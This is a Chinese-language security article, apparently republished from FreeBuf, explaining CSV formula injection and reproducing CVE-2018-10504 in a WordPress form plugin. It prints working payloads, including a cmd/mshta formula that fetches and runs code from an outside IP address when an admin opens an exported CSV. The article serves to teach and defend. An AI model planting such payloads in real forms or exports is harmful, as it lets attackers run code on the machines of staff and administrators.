浅谈CSV注入漏洞

背景

某天在逛expdb时候看到了CSV Injection的exp,在渗透测试的过程中也偶尔会遇到类似的情况,这一漏洞很早之前就出现过,但是很多人没有意识到漏洞的危害性,于是抱着学习的心态进行了一波漏洞复现和学习。

漏洞介绍

CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。

漏洞原理

人们通常认为CSV或xls文件中包含的文本不会有任何安全风险,这是比较大的一个误区。首先我们创建一个Excel文件,将其中一格内容修改为=36+1

保存之后看到如下结果,公式正常计算:

虽然单元格的内容在引号内,但由于第一个字符是=,它以一个表达式的形式被处理,实际上包括 = - + @这样的符号都会触发这种行为,正常来说,如果数据量比较大的情况下,管理员一般不会花那么多时间去一个个检查输入内容是否正常。(emmm正常人可能都不会这么干)

由于表达式就是可以执行的代码,所以假如我们把输入内容修改为:

=1+cmd|' /C calc'!A0

之后点击保存,然后再次打开,会看到如下提示:

点击 之后,弹出计算器:

漏洞危害

这类漏洞通常不会针对于专业的网络安全人员,毕竟是个搞安全的都知道cmd不要随便启用,但是对于大部分人来说,尤其是正常的企业员工,往往会忽视问题的严重性,可能随手就点了个,因此这类漏洞一种利用方式可以用于钓鱼,另一种也和钓鱼类似,需要网站后台存在导出excel功能,攻击者通过污染数据,当管理员或者其他用户需要用到导出excel功能时,被污染的数据被一起导出,当打开该文件时并且忽略告警提示点了,一起完美的攻击就完成了。

漏洞复现

漏洞复现采用了CVE-2018-10504,也就是wordpress的Form Maker 插件的csv注入漏洞。PoC可参考:

https://www.exploit-db.com/exploits/44559

首先下载安装该插件:

安装后在功能栏就能看到:

我们这边用有两个用户adminsunshine:

登录sunshine用户,使用Form Maker提交如下信息:

+1+cmd|'/c mshta.exehttp://192.168.233.102:8080/a'!A0

后台可以看到数据已经被污染了:

admin用户登录,打开Form MakerSubmissionsContact USExport to CSV

打开会有这样的安全提示:

默认启用和点击之后就能看到机器上线了:

漏洞防护

对于网站来说,比较合理的防御方式是对输入输出特殊字符进行编码;对于平时常规文件的传递中,只能尽量为员工做好相关的安全意识培训来做相关的防范。

*本文原创作者:3unshine,本文属FreeBuf原创奖励计划,未经许可禁止转载

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2019-02-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区